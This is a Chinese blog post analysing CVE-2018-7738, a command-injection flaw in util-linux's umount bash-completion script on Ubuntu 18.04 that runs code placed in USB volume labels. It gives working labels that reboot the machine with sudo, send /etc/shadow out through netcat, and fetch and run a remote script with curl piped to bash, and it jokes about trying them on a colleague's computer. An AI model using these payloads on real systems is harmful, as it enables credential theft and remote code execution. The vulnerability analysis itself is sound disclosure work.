CVE-2018-7738:利用bash-completion实现恶意代码执行

本文介绍了作者发现bash-completion中存在漏洞的过程及漏洞的简要分析。

备注:我在发现此漏洞后在Tenable上看到它已经有了CVE编号,详情写在了文末的时间线中。

这个漏洞的发现过程其实充满了机缘巧合:我当时正在给我的U盘命名,但是当我偶然给它命名为’ID’后并想卸载它时,发生了奇怪的事情:

$ umount /dev/s<tab>ID: command not found

WTF?这肯定有问题,当我又试了一次之后,我发现这里面有点东西:当我尝试进行补全,获取可用设备(比如/dev/sdb1什么的)列表时命令被执行了!

$ sed -n 44,45p /usr/share/bash-completion/completions/umount
    DEVS_MPOINTS="$(mount | awk '{print $1, $3}')"
    COMPREPLY=( $(compgen -W "$DEVS_MPOINTS" -- $cur) )

在深挖一番之后我发现卸载的bash-completion脚本44行的位置可使得带有“或$()的驱动器名被当作命令执行。

虽然这种操作很骚,但是并非没有出现过。在今年上半年就有过一个KDE的bug与这种情况类似,可实现当USB驱动器插入时直接执行命令,这可比现在这个问题严重多了。

漏洞影响版本:Ubuntu 18.04

完整的分析还没出来,不过用util-linux 2.31 bash-completion挂载卸载脚本的系统都会有这个漏洞。

漏洞发现环境:Ubuntu 18.04系统上对USB卷名和类型搞事情时候发现的。

 

实际测试

我在发现这个漏洞的时候使用的是创建FAT32分区的工具,它默认只支持大写的DOS标准,所以当时用的是无效命令,不过用mkfs.fat的话就不需要考虑这个问题。

$ sudo mkfs.fat -I -n '`id`' /dev/sdb1

但是这样子是看不到任何结果的,我一开始懵逼了一下,后来明白过来命令其实已经执行了,但它执行成功后的输出被丢弃了。

FAT32的卷名最大长度不能超过11个字符,因此想搞大新闻是不能用它的,所以我们需要和NTFS说说心里话~同时,挂载卸载分区时用户大概率可以拿到sudo凭证缓存,所以配合着就可以玩得更大了。

$ sudo mkfs.ntfs -f -L '`IFS=,;a=sudo,reboot;\$a`' /dev/sdb1

接下来就可以用同事的电脑测试一下了,嘿嘿嘿,不出意外它造成的后果能让你笑一下午(如果你没被同事打死的话)。但是这有点太low了,我们应该玩点高端的。所以我又做了下面的测试:(1337与31337与黑客间不可说的秘密

$ sudo mkfs.ntfs -f -L '`IFS=,;sudo,cat,/etc/shadow,|,nc,127.0.0.1,31337;\$a`' /dev/sdb1

在目标机器上执行下面这段代码:

$ nc -l 127.0.0.1 31337

然后插入U盘,准备执行卸载(unmount)命令并进行补全,如果有sudo的凭证缓存的话,就可以悄咪咪地接收到/etc/passwd文件内容了。

来,继续嗨:

$ sudo mkfs.ntfs -f -L
'`IFS=,;a=curl,-Ls,notmalware.sh;\$a|bash`' /dev/sdb1

 

漏洞浅探

Ubuntu Bionic git repo上的umount bash-completion脚本版本和upstream github repo上是一样的,但是我系统上的脚本版本号却不是这个。找了半天才在Ubuntu 18.04 bash-completion包的日志文件中发现,他们已经不用原先的bash-completion里的脚本而改用util-linux包中的脚本了。

瞟一眼Ubuntu 18.04里的util-linux包列表,可以发现漏洞产生于util-linux 2.31。具体的commit是在13年提交的,并且在18年3月的2.32版本中被修复了。

并且有意思的是在bug报告中也并未将这个漏洞视为安全问题,而是标注为当卷名含空格时会崩溃。这意味着发现这个漏洞时只是因为这个漏洞导致的其他小问题,而核心原因并未被发现。这也解释了为啥修复这个整整花了四个多月,如果被当作安全问题处理的话流程会快得多。

虽然上面说了那么多实例和危害,但这个漏洞实际上对Ubuntu影响不大,虽然它在5年前就已经在util-linux 2.24-rc1中出现,但因为Ubuntu之前用的不是这个脚本,所以一点影响都没,直到Ubuntu改用这个版本的脚本(Ubuntu 18.04)才会存在这个漏洞。并且即将发布的Ubuntu 18.10会使用新版本的util-linux包(2.32),也不会受到这个漏洞的影响。我在Ubuntu 16.04上试了试,确实不会有任何问题。

最后,总结一下,这个漏洞存在于使用util-linux 2.24-2.31版本的挂载卸载bash-completion脚本的系统中。并且目前确定影响Ubuntu 18.04。并且,如果Ubuntu 18.04未来不应用util-linux 2.32的话,恐怕这个LTS版本将会长期受到这个漏洞影响。

 

其他B漏u洞g

我这次发现的漏洞存在于挂载卸载bash-completion中,但是我感觉其他脚本中也会存在这个问题。因此我便对俩比较重要的工具进行了测试。

hcitool:

进行了简单的测试后,发现hcitool以及其他hci*系工具不存在此类漏洞。

$ head -n9 /usr/share/bash-completion/completions/hcitool 
# bash completion for bluez utils                          -*- shell-script -*-

_bluetooth_addresses()
{
    if [[ -n ${COMP_BLUETOOTH_SCAN:-} ]]; then
        COMPREPLY+=( $( compgen -W "$( hcitool scan | \
        awk '/^\t/{print $1}' )" -- "$cur" ) )
    fi
}

iwconfig:

测试后发现它也不存在此类漏洞,烦人。

$ sed -n 14,22p /usr/share/bash-completion/completions/iwconfig 
        essid)
            COMPREPLY=( $( compgen -W 'on off any' -- "$cur" ) )
            if [[ -n ${COMP_IWLIST_SCAN:-} ]]; then
                COMPREPLY+=( $( compgen -W \
                    "$( iwlist ${words[1]} scan | \
                    awk -F'\"' '/ESSID/ {print $2}' )" -- "$cur" ) )
            fi
            return
            ;;

 

启示

现代操作系统的每个零件时时刻刻都在更新,脚本源的更新也会造成许许多多的安全隐患。这些漏洞可能会潜藏好多年,即便修复后,依赖它的项目也需要几个月的时间去应用补丁,因此一定要时刻提醒自己注意系统的更新与安全。

最后,保持好奇心,专注搞事情。

 

时间线

2013.4.13 漏洞引入util-linux

2016.3.31 漏洞引入Ubuntu

2017.11.16 漏洞获得CVE编号CVE-2018-7738

2018.3.21 util-linux 2.32发布,修复漏洞

2018.8.22 我发现了漏洞

2018.9.11 我完成了漏洞分析

2018.9.14 我写了这篇博客 – w –

(完)